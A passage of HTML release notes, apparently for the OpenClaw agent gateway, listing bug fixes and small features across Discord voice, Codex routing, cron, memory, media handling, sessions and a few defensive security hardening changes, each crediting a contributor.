<p>Gateway/security: escape transcript metadata field names while extracting oversized session line prefixes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510569360" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85934" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85934/hovercard" href="https://github.com/openclaw/openclaw/pull/85934">#85934</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Plugins/security: validate manifest model pattern regexes with the safe-regex compiler so unsafe patterns are ignored before matching. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511654235" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86046" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86046/hovercard" href="https://github.com/openclaw/openclaw/pull/86046">#86046</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Discord: route gateway metadata REST lookups through the configured Discord proxy so proxied accounts do not fall back to direct <code>discord.com</code> connections before opening the WebSocket. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415391667" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80227" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80227/hovercard" href="https://github.com/openclaw/openclaw/issues/80227">#80227</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Clivilwalker/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Clivilwalker">@Clivilwalker</a>.</p>
</li>
<li>
<p>Agents/media: hydrate current-turn image attachments from filename-derived MIME types so active vision can see generated or forwarded images whose source omitted an image content type. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491887450" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84812" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84812/hovercard" href="https://github.com/openclaw/openclaw/pull/84812">#84812</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/marchpure/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/marchpure">@marchpure</a>.</p>
</li>
<li>
<p>Agents/fs: point workspace-only scratch-path guidance at in-workspace temp directories while keeping host-root writes rejected by the tool guard. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517290933" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86501" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86501/hovercard" href="https://github.com/openclaw/openclaw/pull/86501">#86501</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tianxiaochannel-oss88/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tianxiaochannel-oss88">@tianxiaochannel-oss88</a>.</p>
</li>
<li>
<p>Agents/media: keep async cron media completions scoped to their run session while preserving direct delivery for stale generated-media success and failure notifications. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517772956" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86529" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86529/hovercard" href="https://github.com/openclaw/openclaw/pull/86529">#86529</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ai-hpc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ai-hpc">@ai-hpc</a>.</p>
</li>
<li>
<p>Gateway: emit plugin <code>session_end</code>/<code>session_start</code> hooks when <code>agent.send</code> rotates or replaces a session id, keeping hook lifecycle state aligned with <code>sessions.changed</code> notifications. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467265613" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83507" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83507/hovercard" href="https://github.com/openclaw/openclaw/issues/83507">#83507</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509963144" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85875" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85875/hovercard" href="https://github.com/openclaw/openclaw/pull/85875">#85875</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>.</p>
</li>
<li>
<p>OpenShell/SSH: reject malformed generated exec commands before sandbox/session setup so unresolved workflow placeholders fail fast instead of reaching the remote shell. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332058570" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72373" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72373/hovercard" href="https://github.com/openclaw/openclaw/issues/72373">#72373</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>.</p>
</li>
<li>
<p>Google: stop normalizing <code>gemini-3.1-flash-lite</code> to the retired preview endpoint and update Flash Lite alias guidance to the GA model id. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512418235" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86151" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86151/hovercard" href="https://github.com/openclaw/openclaw/issues/86151">#86151</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513395718" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86240" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86240/hovercard" href="https://github.com/openclaw/openclaw/pull/86240">#86240</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Installer: make Alpine apk installs cover Git, verify the Node runtime floor, try <code>nodejs-current</code>, and report Alpine version guidance when repositories only provide older Node packages.</p>
</li>
<li>
<p>Agents/status: prefer the active Claude CLI OAuth auth label over an unused Anthropic env API-key label for equivalent runtime aliases. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415131122" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80184" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80184/hovercard" href="https://github.com/openclaw/openclaw/issues/80184">#80184</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518344489" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86570" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86570/hovercard" href="https://github.com/openclaw/openclaw/pull/86570">#86570</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>.</p>
</li>
<li>
<p>Agents/media: send direct fallback for generated media still missing after an active requester wake fails. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4505148850" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85489" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85489/hovercard" href="https://github.com/openclaw/openclaw/pull/85489">#85489</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</p>
</li>
<li>
<p>Agents: derive overflow compaction budgets from provider-reported and synthetic over-budget token counts so confirmed context overflows compact before retrying. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4313476027" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70473" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70473/hovercard" href="https://github.com/openclaw/openclaw/pull/70473">#70473</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</p>
</li>
<li>
<p>Agents/Codex: recover Codex context-window prompt errors through overflow compaction and surface reset guidance when recovery is exhausted. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506087008" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85542" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85542/hovercard" href="https://github.com/openclaw/openclaw/pull/85542">#85542</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</p>
</li>
<li>
<p>Agents/Codex: allow Codex app-server runs to bootstrap from <code>CODEX_API_KEY</code> or <code>OPENAI_API_KEY</code> when no Codex auth profile is configured.</p>
</li>
<li>
<p>Agents/Codex: keep selected Codex runtime routing on OpenAI-Codex while preserving direct OpenAI API-key compaction fallback. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515716562" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86408" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86408/hovercard" href="https://github.com/openclaw/openclaw/pull/86408">#86408</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/funmerlin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/funmerlin">@funmerlin</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VACInc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VACInc">@VACInc</a>.</p>
</li>
<li>
<p>Agent transcript: include OpenClaw agent session logs when finding local transcript candidates.</p>
</li>
<li>
<p>Crabbox: bootstrap raw AWS macOS shell commands wrapped in absolute <code>time</code> paths so RSS probes can run Node and pnpm on fresh macOS runners.</p>
</li>
<li>
<p>Crabbox: bootstrap raw AWS macOS shell commands even when setup statements precede Node or pnpm usage.</p>
</li>
<li>
<p>TUI/local: skip unnecessary secret resolution, gateway model catalog loading, bootstrap, and skill scans in explicit local-model runs so startup reaches the model request faster.</p>
</li>
<li>
<p>Sessions/doctor: load large session stores without clone amplification during read-only doctor checks and reclaim stale <code>sessions.json.*.tmp</code> sidecars. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4162810373" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56827" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/56827/hovercard" href="https://github.com/openclaw/openclaw/issues/56827">#56827</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>.</p>
</li>
<li>
<p>Tests: clean successful plugin gateway gauntlet isolated temp roots while keeping an explicit preservation switch for failed/debug runs.</p>
</li>
<li>
<p>Plugins/perf: reuse derived plugin metadata snapshots for the lifetime of the process so reply-time skill setup no longer rescans plugin metadata on every turn.</p>
</li>
<li>
<p>Discord/OpenAI voice: keep wake-name master consults using the current speaker context after ignored ambient transcripts and shorten the default capture silence grace.</p>
</li>
<li>
<p>Doctor: skip redundant Gateway restart prompts when a recent supervisor restart leaves the Gateway healthy. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517583554" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86518" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86518/hovercard" href="https://github.com/openclaw/openclaw/issues/86518">#86518</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517880193" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86533" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86533/hovercard" href="https://github.com/openclaw/openclaw/pull/86533">#86533</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liaoyl830/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liaoyl830">@liaoyl830</a>.</p>
</li>
<li>
<p>Cron: restore suspended cron lanes to the configured/default concurrency instead of falling back to one after quota or circuit-breaker auto-resume.</p>
</li>
<li>
<p>Gateway: keep session-only Control UI tool-start mirrors flowing during diagnostic queue pressure instead of silently dropping non-terminal tool updates.</p>
</li>
<li>
<p>Agents/memory: return optional not-found context for missing date-only daily memory reads instead of logging benign first-run <code>ENOENT</code> failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462409079" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82928" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82928/hovercard" href="https://github.com/openclaw/openclaw/issues/82928">#82928</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/galiniliev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/galiniliev">@galiniliev</a>.</p>
</li>
<li>
<p>Discord: merge streamed text captions into following media block replies so captions and attachments send as one message. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517016511" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86487" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86487/hovercard" href="https://github.com/openclaw/openclaw/pull/86487">#86487</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</p>
</li>
<li>
<p>Gateway: avoid sending duplicate tool-event frames to Control UI connections that are subscribed by both run and session.</p>
</li>
<li>
<p>Discord/OpenAI voice: accept broader edge-position fuzzy wake-name transcripts while keeping ambient speech gated.</p>
</li>
<li>
<p>Discord/OpenAI voice: accept longer leading wake-name mistranscripts such as "Open Club" for OpenClaw.</p>
</li>
<li>
<p>Agents/OpenAI-compatible: stop ModelStudio-compatible chat requests before sending system/tool-only payloads that have no usable user or assistant turn. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512668599" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86177" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86177/hovercard" href="https://github.com/openclaw/openclaw/pull/86177">#86177</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</p>
</li>
<li>
<p>Gateway/plugins: reuse plugin package realpath checks while building installed plugin indexes so startup avoids repeated filesystem resolution work.</p>
</li>
<li>
<p>Kilo Gateway: send string <code>stop</code> sequences as arrays so Kilo accepts OpenAI-compatible chat completions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4516690908" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86461" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86461/hovercard" href="https://github.com/openclaw/openclaw/pull/86461">#86461</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Discord/OpenAI voice: accept leading fuzzy wake-name transcripts such as "Monty" or "Moti" for a Molty agent while keeping ambient speech gated.</p>
</li>
<li>
<p>Media understanding: convert HEIC and HEIF images to JPEG before image description providers run so iPhone photos work in direct and configured image-description flows. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511517298" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86037" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86037/hovercard" href="https://github.com/openclaw/openclaw/pull/86037">#86037</a>)</p>
</li>
<li>
<p>Agents: release embedded-attempt session locks from outer teardown so post-prompt exceptions cannot wedge later requests behind <code>SessionWriteLockTimeoutError</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511256935" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86014" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86014/hovercard" href="https://github.com/openclaw/openclaw/issues/86014">#86014</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>.</p>
</li>
<li>
<p>Discord/OpenAI voice: rotate Realtime sessions at provider max duration without logging the expected session-expiry event as an error.</p>
</li>
<li>
<p>Sessions: skip metadata-only entries during QMD-slugified session lookup so one incomplete row does not block transcript hit resolution. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514294799" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86327" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86327/hovercard" href="https://github.com/openclaw/openclaw/pull/86327">#86327</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/abnershang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/abnershang">@abnershang</a>.</p>
</li>
<li>
<p>Agents/media: derive bundled plugin local-media trust from plugin tool metadata instead of importing the full plugin registry on subscription paths. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4482773792" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84409" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84409/hovercard" href="https://github.com/openclaw/openclaw/pull/84409">#84409</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</p>
</li>
<li>
<p>Image tool: keep config-backed custom-provider API keys usable for auto-discovered vision models, including deferred image-tool execution without env keys or auth profiles. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508451345" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85733" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85733/hovercard" href="https://github.com/openclaw/openclaw/pull/85733">#85733</a>)</p>
</li>
<li>
<p>Memory/local embeddings: run local GGUF embeddings in an isolated worker sidecar and degrade to configured fallback or keyword search on worker failure so native embedding crashes do not take down the Gateway. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4502468683" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85348" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85348/hovercard" href="https://github.com/openclaw/openclaw/pull/85348">#85348</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/osolmaz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/osolmaz">@osolmaz</a>.</p>
</li>
<li>
<p>Gateway: clear the runtime config snapshot before <code>SIGUSR1</code> in-process restarts so config changes survive the next gateway loop. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515407785" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86388" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86388/hovercard" href="https://github.com/openclaw/openclaw/pull/86388">#86388</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/XuZehan-iCenter/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/XuZehan-iCenter">@XuZehan-iCenter</a>.</p>
</li>
<li>
<p>Models: show OAuth delegation markers as configured <code>models.json</code> auth while keeping runtime route usability checks strict. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515241861" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86378" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86378/hovercard" href="https://github.com/openclaw/openclaw/pull/86378">#86378</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rohitjavvadi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rohitjavvadi">@rohitjavvadi</a>.</p>
</li>
<li>
<p>Cron: seed active scheduled and manual cron task rows with a progress summary so status surfaces do not look blank while jobs run. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514058569" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86313" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86313/hovercard" href="https://github.com/openclaw/openclaw/pull/86313">#86313</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
<p>Cron: preserve unsupported persisted cron payload rows during routine store writes while keeping those rows non-runnable. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4493956816" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84922" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84922/hovercard" href="https://github.com/openclaw/openclaw/issues/84922">#84922</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515779319" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86415" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86415/hovercard" href="https://github.com/openclaw/openclaw/pull/86415">#86415</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IWhatsskill/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IWhatsskill">@IWhatsskill</a>.</p>
</li>
<li>
<p>Updater: exclude prerelease git tags from stable channel resolution so source updates do not check out newer alpha/rc/preview/canary tags. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513592243" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86260" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86260/hovercard" href="https://github.com/openclaw/openclaw/pull/86260">#86260</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stevenepalmer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stevenepalmer">@stevenepalmer</a>.</p>
</li>
<li>
<p>Security/Audit: flag webhook <code>hooks.token</code> reuse of active Gateway password auth in <code>openclaw security audit</code> while keeping password-mode startup compatibility. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4481368290" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84338" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84338/hovercard" href="https://github.com/openclaw/openclaw/pull/84338">#84338</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/coygeek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/coygeek">@coygeek</a>.</p>
</li>
<li>
<p>QQBot: derive the outbound reply watchdog from configured agent and provider timeouts so slow local model replies are not cut off at five minutes. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4500714861" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85267" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85267/hovercard" href="https://github.com/openclaw/openclaw/issues/85267">#85267</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4500805571" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85271" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85271/hovercard" href="https://github.com/openclaw/openclaw/pull/85271">#85271</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SymbolStar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SymbolStar">@SymbolStar</a>.</p>
</li>
<li>
<p>Agents/heartbeat: stop heartbeat turns after the first valid <code>heartbeat_respond</code> so repeated response loops do not burn tokens. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514870807" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86357" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86357/hovercard" href="https://github.com/openclaw/openclaw/pull/86357">#86357</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/udaymanish6/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/udaymanish6">@udaymanish6</a>.</p>
</li>
<li>
<p>Tasks: keep retained lost tasks out of default status health counts, explain their cleanup window during maintenance, and prune lost task records after 24 hours instead of the general 7-day terminal retention.</p>
</li>
<li>
<p>Memory-core: keep REM dreaming focused on live light-staged memories and mark staged entries as considered so old recall history no longer dominates fresh candidates. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513935517" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86302" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86302/hovercard" href="https://github.com/openclaw/openclaw/pull/86302">#86302</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Memory: abort sync instead of downgrading an existing semantic vector index to FTS-only when the configured embedding provider is temporarily unavailable. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507908481" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85704" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85704/hovercard" href="https://github.com/openclaw/openclaw/pull/85704">#85704</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yaaboo-gif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yaaboo-gif">@yaaboo-gif</a>.</p>
</li>
<li>
<p>Telegram: propagate forum topic names through the account-scoped topic cache for native command context and topic create/edit actions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513918910" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86299" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86299/hovercard" href="https://github.com/openclaw/openclaw/pull/86299">#86299</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Slack: keep downloaded read-only files out of reply media so Slack file reads do not echo files back to the conversation. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514166403" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86318" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86318/hovercard" href="https://github.com/openclaw/openclaw/pull/86318">#86318</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</p>
</li>
<li>
<p>Cron: accept leading-plus relative durations such as <code>+5m</code> for one-shot <code>--at</code> schedules. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514566090" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86341" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86341/hovercard" href="https://github.com/openclaw/openclaw/pull/86341">#86341</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mushuiyu886/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mushuiyu886">@mushuiyu886</a>.</p>
</li>
<li>
